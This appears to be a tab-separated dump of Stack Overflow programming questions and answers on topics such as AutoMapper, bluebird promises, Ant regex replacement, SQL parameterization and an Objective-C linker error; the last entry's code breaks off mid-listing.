104979	0	 <p>As Baltimark said, this is basically a Linear programming problem. If only the coefficients for the shippers (1 for included, 0 for not included) were not (binary) integers for each leg, this would be more easily solveable. Now you need to find some (binary) integer linear programming (ILP) heuristics as the problem is NP-hard. See <a href="http://en.wikipedia.org/wiki/Linear_programming#Integer_unknowns" rel="nofollow noreferrer" title="Wikipedia on integer linear programming">Wikipedia on integer linear programming</a> for links; on my linear programming course we used at least <a href="http://en.wikipedia.org/wiki/Branch_and_bound" rel="nofollow noreferrer" title="Branch and bound">Branch and bound</a>.</p> <p>Actually now that I think of it, this special case is solveable without actual ILP as the amount of days does not matter as long as it is &lt;= 5. Now start by choosing the cheapest carrier for first choice (Conway 5:1000). Next you choose yet again the cheapest, resulting 8 days and 4000 currency units which is too much so we abort that. By trying others too we see that they all results days > 5 so we back to first choice and try the second cheapest (FedEx 2:3000) and then ups in the second and fedex in the last. This gives us total of 4 days and 9000 currency units.</p> <p>We then could use this cost to prune other searches in the tree that would by some subtree-stage result costs larger that the one we've found already and leave that subtree unsearched from that point on. This only works as long as we can know that searching in the subtree will not produce a better results, as we do here when costs cannot be negative.</p> <p>Hope this rambling helped a bit :). </p>
7307959	0	 <p>Use UIGestureRecognizer <a href="http://www.icodeblog.com/2010/10/14/working-with-uigesturerecognizers/" rel="nofollow">this link</a> follow to gesture </p> <p>And add your table in one UIView after apply your gesture logic on UIView. </p> <p>It may be helpful for you..</p>
19622238	0	 <p>Your cast is wrong, it should be <code>((B) a).methodX()</code></p>
40883708	0	 <p>By adding <code>config.skip_image_loading</code> to configuration, I was able to solve the issue.</p>
19259252	0	 <p>You're not loading jQuery itself. You need to load jQuery before you load jQuery Mobile. jQuery Mobile is not jQuery and does not include jQuery.</p> <p>jQuery Mobile is like jQuery UI: it's essentially a jQuery plugin, and you have to load jQuery before you can load a plugin.</p>
12845415	0	 <p>You can build your predicate format dynamically to test only non-nil attributes. More on that <a href="https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/Predicates/Articles/pCreating.html#//apple_ref/doc/uid/TP40001793-SW3" rel="nofollow">here</a>. Also consider making your search diacritic-insensitive (adding a 'd' to your CONTAINS statement). Take "Škoda" for example. You want people to find it with "skoda" as well.</p>
10988486	0	AutoMapper resolver not passing expected type <p>Given the following classes and resolver, why am I getting this error? I don't see why ProductAddModel is being passed in at all.</p> <blockquote> <p>AutoMapper.AutoMapperMappingException was unhandled by user code<br> Message=Value supplied is of type System.Decimal but expected AuctionCMS.Framework.Models.Admin.ProductAddModel. Change the value resolver source type, or redirect the source value supplied to the value resolver using FromMember.</p> </blockquote> <p>Types:</p> <pre><code> public class Currency { public Int64 Value { get; set; } // Spot saved for currency type and any other extra properties } public class Product { public Currency Price { get; set; } public Currency ReservePrice { get; set; } } public class ProductAddModel { public Decimal Price { get; set; } public Decimal ReservePrice { get; set; } } </code></pre> <p>Resolver code:</p> <pre><code>public class DecimalToCurrencyValueResolver : ValueResolver&lt;decimal, Currency&gt; { #region Overrides of ValueResolver&lt;decimal,Currency&gt; protected override Currency ResolveCore(decimal source) { return new Currency() { Value = (Int64)((decimal)source) * 1000 }; } #endregion } public class CurrencyToDecimalValueResolver : ValueResolver&lt;Currency, decimal&gt; { #region Overrides of ValueResolver&lt;decimal,Currency&gt; protected override decimal ResolveCore(Currency source) { return (decimal)source.Value * 1000; } </code></pre> <p>Mapping code:</p> <pre><code> Mapper.CreateMap&lt;ProductAddModel, Product&gt;() .ForMember(x =&gt; x.Price, opt =&gt; opt.ResolveUsing&lt;DecimalToCurrencyValueResolver&gt;()) .ForMember(x =&gt; x.ReservePrice, opt =&gt; opt.ResolveUsing&lt;DecimalToCurrencyValueResolver&gt;()); Mapper.CreateMap&lt;Product, ProductAddModel&gt;() .ForMember(x =&gt; x.Price, opt =&gt; opt.ResolveUsing&lt;CurrencyToDecimalValueResolver&gt;()) .ForMember(x =&gt; x.ReservePrice, opt =&gt; opt.ResolveUsing&lt;CurrencyToDecimalValueResolver&gt;()); var model = new ProductAddModel(); var product = new Product(); Mapper.Map&lt;ProductAddModel, Product&gt;(model, product); </code></pre> <p>What am I doing wrong and is this approach the best way to handle simple transforms during the mapping process?</p> <p>Thanks!</p>
28890234	0	Ant ReplaceRegExp task changing a line it shouldn't <p>I was updating an xml file with a version/build number. It was working just fine but then a developer put in some new lines of code and for some reason one of those lines gets changed. Here is my regex:</p> <pre><code>`&lt;replaceregexp file="${basedir}Monitors\Invos\Trunk\InvosWPF\InvosSettings.xml" match="&amp;lt;ConfigurationVersion value=\&amp;quot;[0-9.]* " replace="&amp;lt;ConfigurationVersion value=\&amp;quot;${ver_bldnum}" byline="false"/&gt;` </code></pre> <p>Its messing with ChannelLabel2 value. Before the regex: <code>&lt;ChannelLabels&gt; &lt;ChannelLabel0 value="L"/&gt; &lt;ChannelLabel1 value="R"/&gt; &lt;ChannelLabel2 value="Sâ‚"/&gt; &lt;ChannelLabel3 value="Sâ‚‚"/&gt; &lt;/ChannelLabels&gt;</code></p> <p>After the regex: <code>&lt;ChannelLabels&gt; &lt;ChannelLabel0 value="L"/&gt; &lt;ChannelLabel1 value="R"/&gt; &lt;ChannelLabel2 value="Sâ‚?"/&gt; &lt;ChannelLabel3 value="Sâ‚‚"/&gt; &lt;/ChannelLabels&gt;</code></p> <p>Its inserting a ? for some reason. The only line I want it to change is:</p> <pre><code>`&lt;ConfigurationVersion value="1.0.0.92" /&gt;` </code></pre> <p>Thanks for any help or suggestions. </p>
32158217	0	Promise map and get current value of array <p>Below I have a regular promise bluebird map. What I'd like to achieve is a way to access the current value of the <code>arr</code>, to say that another way, I'd like to access <code>arr</code> from within the map with all of the preceding returned values. Because of this functionality I would also want the whole array to run linearly and in series (<code>{concurrency: 1}</code>).</p> <p>Is this a special kind of map? Does bluebird offer this natively?</p> <pre><code>var Promise = require('bluebird') var arr = ['alpha', 'beta', 'gamma'] Promise.map(arr, function (item) { console.log([item, arr]) return Promise.resolve(['x', item].join('+')) }, {concurrency: 1}) // logs: // [ 'alpha', [ 'alpha', 'beta', 'gamma' ] ] // [ 'beta', [ 'alpha', 'beta', 'gamma' ] ] // [ 'gamma', [ 'alpha', 'beta', 'gamma' ] ] // expected / desired: // [ 'alpha', [ 'alpha', 'beta', 'gamma' ] ] // [ 'beta', [ 'x+alpha', 'beta', 'gamma' ] ] // [ 'gamma', [ 'x+alpha', 'x+beta', 'gamma' ] ] </code></pre>
37540044	0	 <p>solved this by using notepad:</p> <p>1) Save the Excel spreadsheet, as a Single Web Page. 2) Edit this page in (say) Notepad, by running the Find/Replace option. 3) Save this Notepad file, as an Excel File - Job done.</p> <p>*steps was found on the net</p>
24184820	0	 <p>You can use the logical negation of <code>is.null</code> here. That can be applied over the list with <code>vapply</code>, and we can return the non-null elements with <code>[</code></p> <pre><code>(mylist &lt;- list(1:5, NULL, letters[1:5])) # [[1]] # [1] 1 2 3 4 5 # [[2]] # NULL # [[3]] # [1] "a" "b" "c" "d" "e" mylist[vapply(mylist, Negate(is.null), NA)] # [[1]] # [1] 1 2 3 4 5 # [[2]] # [1] "a" "b" "c" "d" "e" </code></pre>
21369555	0	 <pre><code>&lt;form onSubmit= "formCheck()" type="POST" action="#" &gt; &lt;label for="name"&gt;Name:&lt;/label&gt; &lt;input type="text" name="name" id="name_input" onBlur="formCheck()"&gt; &lt;input type="checkbox" id="valid_name" name="valid_name" disabled&gt; &lt;button type="submit" value="Submit"&gt;Submit&lt;/button&gt; &lt;/form&gt; </code></pre> <p></p> <pre><code>function formCheck() { var val = document.getElementById('name_input').value; if(val!='') document.getElementById('valid_name').checked = true; else alert('Looks like you forgot your name!'); } </code></pre> <p>Fiddle: <a href="http://jsfiddle.net/dTc63/1/" rel="nofollow">http://jsfiddle.net/dTc63/1/</a></p> <p><em>(Just hit run again to try it the other way. POST doesn't work like normal in jsfiddle.)</em></p>
15522533	0	java - use of ternary operator <p>I got quite a large code with 4 different conditions which I tried to shorten using the conditional ternary operator as <a href="http://alvinalexander.com/java/edu/pj/pj010018" rel="nofollow">descibed here</a>. However, I can't manage the right syntax since I have more than 2 conditions. Could someone explain how to use the ternary operator in such case? My code goes below</p> <p>And no, I'm not asking to write code for me, I'm looking for an explanation of ternary operator use with multiple conditions</p> <pre><code> if (mp.getCurrentPosition() / 1000 / 60 &lt; 10 &amp;&amp; mp.getCurrentPosition() / 1000 % 60 &lt; 10) { tvTimeElapsed.setText("0" + Integer.toString(mp.getCurrentPosition() / 1000 / 60) + ":" + "0" + Integer.toString(mp.getCurrentPosition() / 1000 % 60)); } else if (mp.getCurrentPosition() / 1000 / 60 &lt; 10 &amp;&amp; mp.getCurrentPosition() / 1000 % 60 &gt;= 10) { tvTimeElapsed.setText("0" + Integer.toString(mp.getCurrentPosition() / 1000 / 60) + ":" + Integer.toString(mp.getCurrentPosition() / 1000 % 60)); } else if (mp.getCurrentPosition() / 1000 / 60 &gt;= 10 &amp;&amp; mp.getCurrentPosition() / 1000 % 60 &lt; 10) { tvTimeElapsed .setText(Integer.toString(mp.getCurrentPosition() / 1000 / 60) + ":" + "0" + Integer.toString(mp.getCurrentPosition() / 1000 % 60)); } else { tvTimeElapsed .setText(Integer.toString(mp.getCurrentPosition() / 1000 / 60) + ":" + Integer.toString(mp.getCurrentPosition() / 1000 % 60)); } </code></pre>
8550469	0	BindingSource remove current <p>I use BindingSource for deleting records in my forms:</p> <pre><code>try { BindingSource1.RemoveCurrent(); BindingSource1.EndEdit(); Table1TableAdapter.Update(dataSet01.Table1); } catch (Exception ex) { MessageBox.show(ex.Message); } </code></pre> <p>if record related to another,at first user see this record remove,but after that an error will arise. How can I prevent removing related record at first; so no error will be shown.</p>
14874445	0	Is the Monolithic God object in Javascript a performance concern? <h2>The way it is:</h2> <p>I have recently joined a webapp project which maintains, as a matter of standard, one single globally-available (ie, itself a property of <code>window</code>) object which contains, as properties or recursive sub-properties, all the functions and variables necessary to run the application — including stateful indicators for all the widgets, initialization aliases, generic DOM manipulation methods — <em>everything</em>. I would try to illustrate with simplified pseudo-code, but that defeats the point of my concern, which is that this thing is cyclopean. Basically nothing is encapsulated: everything single granular component can be read or modified from anywhere.</p> <h2>The way I'd like it:</h2> <p>In my recent work I've been the senior or only Javascript developer so I've been able to write in a style that uses functions, often immediately invoked / self-executing, for scoping discreet code blocks and keeping granular primitives as variables within those scopes. Using this pattern, everything is locked to its execution scope by default, and occasionally a few judiciously chosen getter/setter functions will be returned in cases where an API needs to be exposed.</p> <h2>…Is B more performant than A on a generic level?</h2> <p>Refactoring the code to functional parity from style A to style B is a gargantuan task, so I can't make any meaningful practical test for my assertion, but is the Monolithic God object anti-pattern a known performance monster compared to the scoped functional style? I would argue for B for the sake of legibility, code safety, and separation of concerns... But I imagine keeping everything in memory all the time, crawling though lookup chains etc would make it either an inherently performance-intensive exercise to access anything, or at least make garbage collection a very difficult task.</p>
32411174	0	 <pre><code>function doTheStuff(a, b) { var bookstorname = localStorage.getItem(a) if (bookstorname == 1) { document.getElementById(b).setAttribute('checked','checked'); } if (bookstorname == 0) { document.getElementById(b).removeAttribute('checked','checked'); } } window.onload = function Equal() { doTheStuff('b1', 'box1'); doTheStuff('b2', 'box2'); } </code></pre> <p>?</p>
27723933	0	Opcache + Memcached Together <p>my environment </p> <p><code>ubuntu 14.04</code> , <code>php 5.5</code> , <code>nginx 1.76</code></p> <p>i am using both <code>opcache</code> and <code>xcache</code> concurrently </p> <pre><code>PHP 5.5.19-1+deb.sury.org~trusty+1 (cli) (built: Nov 19 2014 19:33:43) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies </code></pre> <p>can i use both opcache and memchached together .. i dont know whether this allowed or not ?</p> <p>suggestions invited ? ?</p>
511899	0	 <p>Check to see how fragmented your indexes are. At my company we have a nightly import process that trashes our indexes and over time it can have a profound impact on data access speeds. For example we had a SQL procedure that took 2 hours to run one day after de-fragmenting the indexes it took 3 minutes. we use SQL Server 2005 ill look for a script that can check this on MySQL. </p> <p>Update: Check out this link: <a href="http://dev.mysql.com/doc/refman/5.0/en/innodb-file-defragmenting.html" rel="nofollow noreferrer">http://dev.mysql.com/doc/refman/5.0/en/innodb-file-defragmenting.html</a></p>
35260469	0	How to validate a string is in YYYY-MM-DD form (C#) <p>Most of the ways I have seen on SO have involved validating a C# date object which is not what I want to do. For what I'm working on, the user will enter a string in a format for example, 1999-02-23. I would like to validate that the string they enter follows the format of YYYY-MM-DD. The solutions I have come up with seem overly complex. </p>
31400798	0	 <p>I think your</p> <pre><code>"...VALUES('sheetname" + dt.Rows[0][j].ToString() + "' ) </code></pre> <p>should be</p> <pre><code>"...VALUES('sheetname', '" + dt.Rows[0][j].ToString() + "' ) </code></pre> <p>since you try to insert two values but you didn't seperate them with a comma.</p> <p>But as a better way, use <a href="http://blog.codinghorror.com/give-me-parameterized-sql-or-give-me-death/" rel="nofollow">parameterized queries</a>. This kind of string concatenations are open for <a href="http://en.wikipedia.org/wiki/SQL_injection" rel="nofollow">SQL Injection</a> attacks.</p> <pre><code>var command = new SqlCommand(@"INSERT INTO [Obj CA] (sheetname, [Rayon]) VALUES('sheetname', @rayon"), con); for (int i = 2; i &lt; dt.Rows.Count; i++) { for (int j = 1; j &lt; dt.Columns.Count; j += 3) { command.Parameters.Clear(); command.Parameters.AddWithValue("@rayon", dt.Rows[0][j].ToString()); command.ExecuteNonQuery(); } } </code></pre> <p>By the way, since I didn't know your column types, I used <code>AddWithValue</code> as an example but you don't. <a href="http://blogs.msmvps.com/jcoehoorn/blog/2014/05/12/can-we-stop-using-addwithvalue-already/" rel="nofollow">This method <em>may</em> generate unexpected results sometimes</a>. Use <code>Add</code> overload to specify your parameter type and it's size.</p> <p>Also I strongly suspect you should change your column definition order as well like <code>(sheetname, [Rayon])</code> in your <code>INSERT</code> statement.</p>
21162767	0	 <p>How about this using LINQ inline:</p> <pre class="lang-cs prettyprint-override"><code>var results = (from kvp in dict from v in kvp.Value select new KeyValuePair&lt;AddressType, ContractType&gt;(kvp.Key, v)) .ToList(); </code></pre> <p>Don't know about the lambda syntax, though.</p>
10030375	0	 <p>If the date_promised field is of a DATETIME type you can use -</p> <pre><code>SELECT date_promised, DATE_FORMAT(date_promised, '%m/%d/%Y') AS date_promised2 FROM erp_workorder AS t1 WHERE id_primary = 73135; </code></pre> <p>If the date_promised field contains a unix timestamp you can use -</p> <pre><code>SELECT date_promised, DATE_FORMAT(FROM_UNIXTIME(date_promised), '%m/%d/%Y') AS date_promised2 FROM erp_workorder AS t1 WHERE id_primary = 73135; </code></pre>
21814004	0	 <p>If you want to send an SMS, in about 5 lines of code, you should look into Twilio. Incredibly easy to get started, only pay for what you use, nicely document rest api and best of all its is a proven/mature technology.</p> <p><a href="https://www.twilio.com/sms" rel="nofollow">https://www.twilio.com/sms</a></p>
12744730	0	 <p>The "semi-convoluted" solution using <code>std::bind</code> as mentioned by Nicol Bolas is not so bad after all:</p> <pre><code>std::function&lt;void ()&gt; getAction(std::unique_ptr&lt;MyClass&gt;&amp;&amp; psomething) { return std::bind([] (std::unique_ptr&lt;MyClass&gt;&amp; p) { p-&gt;do_some_thing(); }, std::move(psomething)); } </code></pre>
39621578	1	Match multiple times a group in a string <p>i'am trying to use regular expression. I have this string that has to be matched</p> <pre><code> influences = {{hlist |[[Plato]] |[[Aristotle]] |[[Socrates]] |[[David Hume]] |[[Adam Smith]] |[[Cicero]] |[[John Locke]]}} {{hlist |[[Saint Augustine]] |[[Saint Thomas Aquinas]] |[[Saint Thomas More]] |[[Richard Hooker]] |[[Edward Coke]]}} {{hlist |[[Thomas Hobbes]] |[[Rene Descartes]] |[[Montesquieu]] |[[Joshua Reynolds]] |[[Sir William Blackstone|William Blackstone]]}} {{hlist |[[Niccolo Machiavelli]] |[[Dante Alighieri]] |[[Samuel Johnson]] |[[Voltaire]] |[[Jean Jacques Rousseau]] |[[Jeremy Bentham]]}} </code></pre> <p>I would like to extract from the text the following templates: </p> <pre><code>{{hlist .... }} </code></pre> <p>Instead, the following text has not to be matched:</p> <pre><code>main_interests = {{hlist |[[Music]] |[[Art]] |[[Theatre]] |[[Literature]]}} </code></pre> <p>I wrote this regex but it doesn't work</p> <pre><code>(?:^\|\s*)?(?:influences)\s*?=\s*?(?:(?:\s*\{\{hlist)\s*\|([\d\w\s\-()*—&amp;;\[\]|#%.&lt;&gt;·:/",\'!{}=•?’ á~ü°œéö$àèìòùÀÈÌÒÙáéíóúýÁÉÍÓÚÝâêîôûÂÊÎÔÛãñõÃÑÕäëïöüÿÄËÏÖÜŸçÇßØøÅåÆæœ]*?)(?=\n))+ </code></pre> <p>I'm using python.</p>
6984033	0	Trying to print multiple result set .But list returns only object <p>This my query which i am trying get result from multiple table.</p> <pre><code> SQLQuery query = session.createSQLQuery("select t.id as ID, t.companyname as COMPANYNAME, e.fullname as FULLNAME, e.empid as EMPID, ca.dateallocated as DATEALLOCATED from bw_tempclientdetails t, bw_employee_details e, bw_clientallocation ca where e.empid=ca.empid and ca.companyname=t.companyname "); </code></pre> <p>But query.list returns only object in which i am unable to convert to string representation. Any solution?</p>
16799340	0	 <p>You have your <code>Flag</code> set on <code>notificationIntent</code> instead of <code>Intent</code> for <code>ActivityB</code>. Change this</p> <pre><code> Intent i = new Intent(getActivity(), B.class); getActivity().startActivity(i); </code></pre> <p>to</p> <pre><code> Intent i = new Intent(getActivity(), B.class); i.setFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT) getActivity().startActivity(i); </code></pre> <p><a href="http://www.youtube.com/watch?v=XwGHJJYBs0Q" rel="nofollow">Google I/O Navigation</a> this link is very helpful in understanding how the stack works</p>
15241421	0	 <p>If you getting <code>???myBean.myMsg</code> that means that it could not find <em>myBean.myMsg</em> string in your resource file...</p> <p>I guess you want to use the key inside the myBean.myMsg (and not the string <em>myBean.myMsg</em>)?</p> <p>In that case just remove the <code>''</code> that surrounds it</p> <pre><code>&lt;h:outputText value="#{resourceBundle[myBean.myMsg]}" /&gt; </code></pre> <p>Otherwise it will be used as a string and not as EL expression</p>
8265703	0	 <p><a href="http://cellperformance.beyond3d.com/articles/2006/06/understanding-strict-aliasing.html" rel="nofollow">Cellperformance</a> states that strict aliasing is:</p> <blockquote> <p>[...] an assumption, made by the C (or C++) compiler, that dereferencing pointers to objects of different types will never refer to the same memory location (i.e. alias eachother.)</p> </blockquote> <p>This warning occurs when <code>-fno-strict-aliasing</code> and optimizations (<code>-O2</code> or higher) are enabled because the compiler needs to be much more conservative when its accessing (possibly) aliased memory. This leads to less optimizations - the compiler can't e.g. really be sure that elements doesn't overlap (see example in article posted above).</p> <p>This is not a warning you should worry about - the Boost developers are probably aware of this and have good reasons to why this is ok.</p>
11954305	0	Function to determine if two tables are related <p>Suppose I have 5 table schemas in memory as DataTables and one other DataTable that is a schema of the referential constraints between the other 5 tables.</p> <p>The 5 schema tables are related such that Table A contains a primary key column related to a foreign key in B. B also contains a primary key column related to a foreign key column in C, and C to D, but suppose A,B,C, and D are not directly or indirectly related to E.</p> <p>What sort of function would take in two datatables and return a boolean value indicating whether those tables were related or 'linked'.</p> <p><strong>What I'm Trying To Accomplish</strong></p> <p>Suppose I present a user with all of the columns in the 5 tables in a drag and drop style interface. I want the user to be able to build a query a graphically, but I will need to enable/disable certain columns based on whether or not they can even be returned in the same select statement.</p>
19941541	0	Local Gem Path For Development And Remote Git Repo For Production <p>I have a gem I'm working on locally which is used by a project.</p> <p>If I specify the gem's location using <code>path</code> in the , I can make a change and the project picks up the fresh code:</p> <pre><code>gem 'example', :path =&gt; "~/path/to/gems/example" </code></pre> <p>However, when I push to Heroku, bundling fails because Heroku can't access the gem source on my local machine.</p> <p>So I can push the gem source to a remote repo and point the gem source there:</p> <pre><code>gem 'example', :github =&gt; 'example/example', :branch =&gt; 'example_feature' </code></pre> <p>However I now need to push changes to this repo, then update the gem to get the fresh changes in my project:</p> <pre><code>$ cd ~/path/to/gems/example $ git c -a -m "Update gem" $ git push origin example_feature $ cd ~/path/to/projects/project $ gem update example </code></pre> <p>I can make this slightly less painful by setting a local override to my local repo:</p> <pre><code>$ bundle config local.example ~/path/to/gems/example </code></pre> <p>But I still need to add changed files to git, commit, then <code>$ gem update example</code> every time I change the gem source if I want fresh changes in my project.</p> <p><strong>Is there any way to have my project pick up local changes automatically (as it does when I use <code>path</code>), but still use the remote repo in production?</strong></p>
35289597	0	Excel 2010 Cell Validation - Grouped List <p>Is it possible (without the use of user forms, or form controls) to have a grouped validation list in-cell, where the group title cannot be selected. So for example:</p> <p><strong>Fruit</strong><br> Apple<br> Banana<br> <strong>Veg</strong><br> Potato<br> Carrot</p> <p>I feel like I've been searching for an absolute age now, and I'm getting no where fast. The reason I cannot use form controls as that there are 8 sheets, each with a few thousand rows (possible) and each entry must have this selection. I have done this before with dependant lists across multiple columns but I'd like to trim everything down.</p> <p>Any ideas? I don't want a clear cut solution if one exists, just a nudge in the right direction. Any help appreciated.</p>
24727029	0	X Code Objective-C: 2 duplicate symbols error <p>Hey I'm fairly new to Objective C. I ran into this error when adding some new buttons to my iPhone app I have been working on. Not exactly sure where the duplicates are present. If anyone could point me in the right direction that would be great thanks!</p> <p><strong>Error:</strong> </p> <blockquote> <p>duplicate symbol _OBJC_CLASS_$_Weights in: /Users/mflood7356/Library/Developer/Xcode/DerivedData/1RMCalculator-bciansmbawnkrwasgwtkbkdpvswt/Build/Intermediates/1RMCalculator.build/Debug-iphonesimulator/1RMCalculator.build/Objects-normal/x86_64/ViewController.o /Users/mflood7356/Library/Developer/Xcode/DerivedData/1RMCalculator-bciansmbawnkrwasgwtkbkdpvswt/Build/Intermediates/1RMCalculator.build/Debug-iphonesimulator/1RMCalculator.build/Objects-normal/x86_64/Weights.o duplicate symbol _OBJC_METACLASS_$_Weights in: /Users/mflood7356/Library/Developer/Xcode/DerivedData/1RMCalculator-bciansmbawnkrwasgwtkbkdpvswt/Build/Intermediates/1RMCalculator.build/Debug-iphonesimulator/1RMCalculator.build/Objects-normal/x86_64/ViewController.o /Users/mflood7356/Library/Developer/Xcode/DerivedData/1RMCalculator-bciansmbawnkrwasgwtkbkdpvswt/Build/Intermediates/1RMCalculator.build/Debug-iphonesimulator/1RMCalculator.build/Objects-normal/x86_64/Weights.o ld: 2 duplicate symbols for architecture x86_64 clang: error: linker command failed with exit code 1 (use -v to see invocation)</p> </blockquote> <p><strong>Weights.m</strong></p> <pre><code>#import "Weights.h" @implementation Weights static Weights *instance = nil; +(Weights *)getInstance{ @synchronized(self){ if(instance==nil){ instance= [Weights new]; } } return instance; } static int totalWeight = 0; static int fortyFives = 0; static int thirtyFives = 0; static int twentyFives = 0; static int tens = 0; static int fives = 0; static int twoPointFives = 0; + (int)getTotalWeight { return totalWeight; } + (void)setTotalWeight:(int)newWeight { totalWeight = newWeight; [self computePlates]; } + (int)getFortyFives { return fortyFives; } + (void)setFortyFives:(int)newCount { fortyFives = newCount; } + (int)getThirtyFives { return thirtyFives; } + (void)setThirtyFives:(int)newCount { thirtyFives = newCount; } + (int)getTwentyFives { return twentyFives; } + (void)setTwentyFives:(int)newCount { twentyFives = newCount; } + (int)getTens { return tens; } + (void)setTens:(int)newCount { tens = newCount; } + (int)getFives { return fives; } + (void)setFives:(int)newCount { fives = newCount; } + (int)getTwoPointFives { return twoPointFives; } + (void)setTwoPointFives:(int)newCount { twoPointFives = newCount; } + (void)computePlates{ if(totalWeight &gt;= 45){ if(totalWeight == 45){ [self setFortyFives: 0]; [self setThirtyFives: 0]; [self setTwentyFives: 0]; [self setTens: 0]; [self setFives: 0]; [self setTwoPointFives: 0]; } else{ int workingWeight = totalWeight - 45; // Do 45s if(workingWeight &gt;= 90){ int plateCounter = 0; while(workingWeight &gt;= 90){ workingWeight = workingWeight - 90; plateCounter = plateCounter + 2; } NSLog(@"Number of 45s: %d", plateCounter); [self setFortyFives:plateCounter]; } else{ NSLog(@"Number of 45s: 0"); [self setFortyFives: 0]; } // Do 35s if(workingWeight &gt;= 70){ int plateCounter = 0; while(workingWeight &gt;= 70){ workingWeight = workingWeight - 70; plateCounter = plateCounter + 2; } NSLog(@"Number of 35s: %d", plateCounter); [self setThirtyFives:plateCounter]; } else{ NSLog(@"Number of 35s: 0"); [self setThirtyFives: 0]; } // Do 25s if(workingWeight &gt;= 50){ int plateCounter = 0; while(workingWeight &gt;= 50){ workingWeight = workingWeight - 50; plateCounter = plateCounter + 2; } NSLog(@"Number of 25s: %d", plateCounter); [self setTwentyFives:plateCounter]; } else{ NSLog(@"Number of 25s: 0"); [self setTwentyFives: 0]; } // Do 10s if(workingWeight &gt;= 20){ int plateCounter = 0; while(workingWeight &gt;= 20){ workingWeight = workingWeight - 20; plateCounter = plateCounter + 2; } NSLog(@"Number of 10s: %d", plateCounter); [self setTens:plateCounter]; } else{ NSLog(@"Number of 10s: 0"); [self setTens: 0]; } // Do 5s if(workingWeight &gt;= 10){ int plateCounter = 0; while(workingWeight &gt;= 10){ workingWeight = workingWeight - 10; plateCounter = plateCounter + 2; } NSLog(@"Number of 5s: %d", plateCounter); [self setFives:plateCounter]; } else{ NSLog(@"Number of 5s: 0"); [self setFives: 0]; } // Do 2.5s if(workingWeight &gt;= 5){ int plateCounter = 0; while(workingWeight &gt;= 5){ workingWeight = workingWeight - 5; plateCounter = plateCounter + 2; } NSLog(@"Number of 2.5s: %d", plateCounter); [self setTwoPointFives:plateCounter]; } else{ NSLog(@"Number of 2.5s: 0"); [self setTwoPointFives: 0]; } if(workingWeight &lt; 5 &amp;&amp; workingWeight != 0){ // Print something about not being exact? NSLog(@"Remaining Working Weight: %d", workingWeight); } } } else{ [self setFortyFives: 0]; [self setThirtyFives: 0]; [self setTwentyFives: 0]; [self setTens: 0]; [self setFives: 0]; [self setTwoPointFives: 0]; } } @end </code></pre> <p><strong>ViewController.m</strong></p> <pre><code>#import "ViewController.h" #import "Weights.h" #import "Weights.m" @interface ViewController () // Objects represent the text fields @property (strong, nonatomic) IBOutlet UITextField *weightField; @property (strong, nonatomic) IBOutlet UITextField *repsField; // Objectsrepresent the percentage buttons below the fields @property (strong, nonatomic) IBOutlet id nintyFiveResult; @property (strong, nonatomic) IBOutlet id nintyResult; @property (strong, nonatomic) IBOutlet id eightyFiveResult; @property (strong, nonatomic) IBOutlet id eightyResult; @property (strong, nonatomic) IBOutlet id seventyFiveResult; @property (strong, nonatomic) IBOutlet id seventyResult; @property (strong, nonatomic) IBOutlet id sixtyFiveResult; @property (strong, nonatomic) IBOutlet id sixtyResult; // Weight object used to perform the on bar calculation @property (strong, nonatomic) Weights *weightObj; // Labels represent the values on the second view @property (strong, nonatomic) IBOutlet UILabel *resultTitle; @property (strong, nonatomic) IBOutlet UILabel *fortyFivePlateLabel; @property (strong, nonatomic) IBOutlet UILabel *thirtyFivePlateLabel; @property (strong, nonatomic) IBOutlet UILabel *twentyFivePlateLabel; @property (strong, nonatomic) IBOutlet UILabel *tenPlateLabel; @property (strong, nonatomic) IBOutlet UILabel *fivePlateLabel; @property (strong, nonatomic) IBOutlet UILabel *twoFivePlateLabel; @end @implementation ViewController - (void)viewDidLoad{ [super viewDidLoad]; // Do any additional setup after loading the view, typically from a nib. self.weightField.delegate = self; self.repsField.delegate = self; self.weightObj = [Weights getInstance]; } - (void)didReceiveMemoryWarning { [super didReceiveMemoryWarning]; // Dispose of any resources that can be recreated. } - (BOOL)textFieldShouldReturn:(UITextField *)textField { [textField resignFirstResponder]; return NO; } /* weightModified: This method is called when the weight field is modified. If the reps or weight value entered is equal to zero all of the percentage results will be changed to zero. If valid values are passed in both fields the percentages of weight will be calculated. */ - (IBAction)weightModified:(UITextField *)sender { NSLog(@"Weight Input Value: %@", sender.text); NSLog(@"Reps Input Value: %@", self.repsField.text); if([sender.text isEqualToString:@""] == false &amp;&amp; [self.repsField.text isEqualToString:@""] == false){ NSLog(@"Weight Modified in if statement."); // Gather reps and weight value int reps = 0; int weight = 0; weight = [sender.text intValue]; reps = [self.repsField.text intValue]; NSLog(@"Weight: %d", weight); NSLog(@"Reps: %d", reps); int nintyFiveInt = [self oneRepMax :0.95 :reps :weight]; int nintyInt = [self oneRepMax :0.9 :reps :weight]; int eightyFiveInt = [self oneRepMax :0.85 :reps :weight]; int eightyInt = [self oneRepMax :0.8 :reps :weight]; int seventyFiveInt = [self oneRepMax :0.75 :reps :weight]; int seventyInt = [self oneRepMax :0.7 :reps :weight]; int sixtyFiveInt = [self oneRepMax :0.65 :reps :weight]; int sixtyInt = [self oneRepMax :0.6 :reps :weight]; NSString *nintyFiveWeight = [NSString stringWithFormat:@"95%%: %d lbs", nintyFiveInt]; NSString *nintyWeight = [NSString stringWithFormat:@"95%%: %d lbs", nintyInt]; NSString *eightyFiveWeight = [NSString stringWithFormat:@"95%%: %d lbs", eightyFiveInt]; NSString *eightyWeight = [NSString stringWithFormat:@"95%%: %d lbs", eightyInt]; NSString *seventyFiveWeight = [NSString stringWithFormat:@"95%%: %d lbs", seventyFiveInt]; NSString *seventyWeight = [NSString stringWithFormat:@"95%%: %d lbs", seventyInt]; NSString *sixtyFiveWeight = [NSString stringWithFormat:@"95%%: %d lbs", sixtyFiveInt]; NSString *sixtyWeight = [NSString stringWithFormat:@"95%%: %d lbs", sixtyInt]; [self.nintyFiveResult setTitle:nintyFiveWeight forState:UIControlStateNormal]; [self.nintyResult setTitle:nintyWeight forState:UIControlStateNormal]; [self.eightyFiveResult setTitle:eightyFiveWeight forState:UIControlStateNormal]; [self.eightyResult setTitle:eightyWeight forState:UIControlStateNormal]; [self.seventyFiveResult setTitle:seventyFiveWeight forState:UIControlStateNormal]; [self.seventyResult setTitle:seventyWeight forState:UIControlStateNormal]; [self.sixtyFiveResult setTitle:sixtyFiveWeight 